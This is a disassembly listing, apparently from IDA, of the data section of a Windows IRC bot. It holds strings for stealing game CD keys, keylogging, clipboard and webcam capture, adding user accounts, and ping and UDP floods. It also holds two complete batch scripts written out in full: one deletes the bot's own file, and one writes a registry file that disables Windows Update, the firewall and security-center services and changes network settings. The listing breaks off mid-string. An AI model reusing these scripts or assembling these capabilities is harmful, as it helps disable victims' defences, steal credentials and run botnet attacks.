db 'CDKey',0 ; DATA XREF: seg002:00423F30o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_423F2Co align 10h asc_425130: ; DATA XREF: sub_406A7B+E9o ; sub_406A7B+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_406A7B+8Fo ; seg000:loc_40F7B3o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_406A7B+7Eo ; seg000:00406D8Do ... align 10h aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_406A7B+2Bo align 4 unk_425154 db 2 ; DATA XREF: sub_406C30+C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_425188 db 2 ; DATA XREF: sub_406C30+5Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: seg000:00406E4Fo align 4 aS_3 db '%s\*',0 ; DATA XREF: seg000:00406D62o align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_406E9A+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_406E9A+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_406E9A:loc_407AD5o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_406E9A+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_406E9A+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_406E9A+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_406E9A+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_406E9A+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_406E9A+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_406E9A:loc_407A37o align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_406E9A+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_406E9A+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_406E9A:loc_4079EDo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_406E9A+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_406E9A+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_406E9A+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_406E9A+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_406E9A:loc_407979o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_406E9A+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_406E9A+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_406E9A:loc_40792Fo align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_406E9A+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_406E9A+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_406E9A:loc_4078E5o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_406E9A+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_406E9A+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_406E9A+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_406E9A+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_406E9A+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_406E9A+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_406E9A+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_406E9A+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_406E9A+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_406E9A+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_406E9A+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_406E9A:loc_4077DAo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_406E9A+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_406E9A+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_406E9A+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_406E9A:loc_40777Bo align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_406E9A+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_406E9A+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_406E9A+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_406E9A+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_406E9A+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_406E9A+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_406E9A+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_406E9A+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_406E9A+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_406E9A+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_406E9A+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_406E9A:loc_40765Bo aClosesocket db 'closesocket',0 ; DATA XREF: sub_406E9A+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_406E9A+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_406E9A+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_406E9A+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_406E9A+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_406E9A+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_406E9A+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_406E9A+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_406E9A+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_406E9A+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_406E9A+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_406E9A+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_406E9A+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_406E9A+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_406E9A+5D2o ; seg000:0040D432o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_406E9A+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_406E9A+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_406E9A+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_406E9A+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_406E9A+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_406E9A+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_406E9A+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_406E9A+56Ao aSocket db 'socket',0 ; DATA XREF: sub_406E9A+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_406E9A+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_406E9A+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_406E9A+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_406E9A+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_406E9A+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_406E9A+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_406E9A+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_406E9A+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_406E9A+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_406E9A+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_406E9A+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_406E9A+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_406E9A+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_406E9A+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_406E9A+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_406E9A+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_406E9A+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_406E9A:loc_4072A9o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_406E9A:loc_407281o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_406E9A+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_406E9A+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_406E9A+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_406E9A+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_406E9A+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_406E9A+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_406E9A+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_406E9A:loc_4071D3o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_406E9A+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_406E9A+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_406E9A:loc_40718Eo align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_406E9A+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_406E9A+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_406E9A+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_406E9A+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_406E9A+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_406E9A+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_406E9A:loc_4070F9o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_406E9A+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_406E9A+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_406E9A+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_406E9A:loc_407092o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_406E9A+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_406E9A+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_406E9A+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_406E9A+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_406E9A+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_406E9A+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_406E9A+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_406E9A+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_406E9A:loc_406FCFo ; seg000:0041C78Bo align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_406E9A:loc_406FA2o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_406E9A+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_406E9A+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_406E9A+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_406E9A+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_406E9A+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_406E9A+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_406E9A+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_406E9A+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_406E9A+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_406E9A+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_406E9A+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_406E9A+Ao align 4 dword_425AA4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_407B27+2F2o dd 2029206Ch, 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407B27+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407B27+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407B27+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407B27+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_408175+5o ; sub_4126F4+18o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4081F7+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40829B+2o aComspecCSS db '%%comspec%% /c %s %s',0 align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4082BD+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4082BD+48o align 4 aCA_bat db 'c:\a.bat',0 ; DATA XREF: sub_408445+29o align 4 a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_408445+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 10h unk_427400 db 2 ; DATA XREF: sub_40853B:loc_4085FAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_427444 db 2 ; DATA XREF: sub_40853B:loc_4085C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_427488 db 2 ; DATA XREF: sub_40853B:loc_408594o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 10h unk_4274C0 db 2 ; DATA XREF: sub_40853B+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_427504 db 2 ; DATA XREF: seg000:004087FBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_427544 db 2 ; DATA XREF: seg000:0040872Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_427580 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40884B+1C6o dd 2029206Ch, 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 10h dword_4275C0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40884B+8Eo dd 2029206Ch, 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s 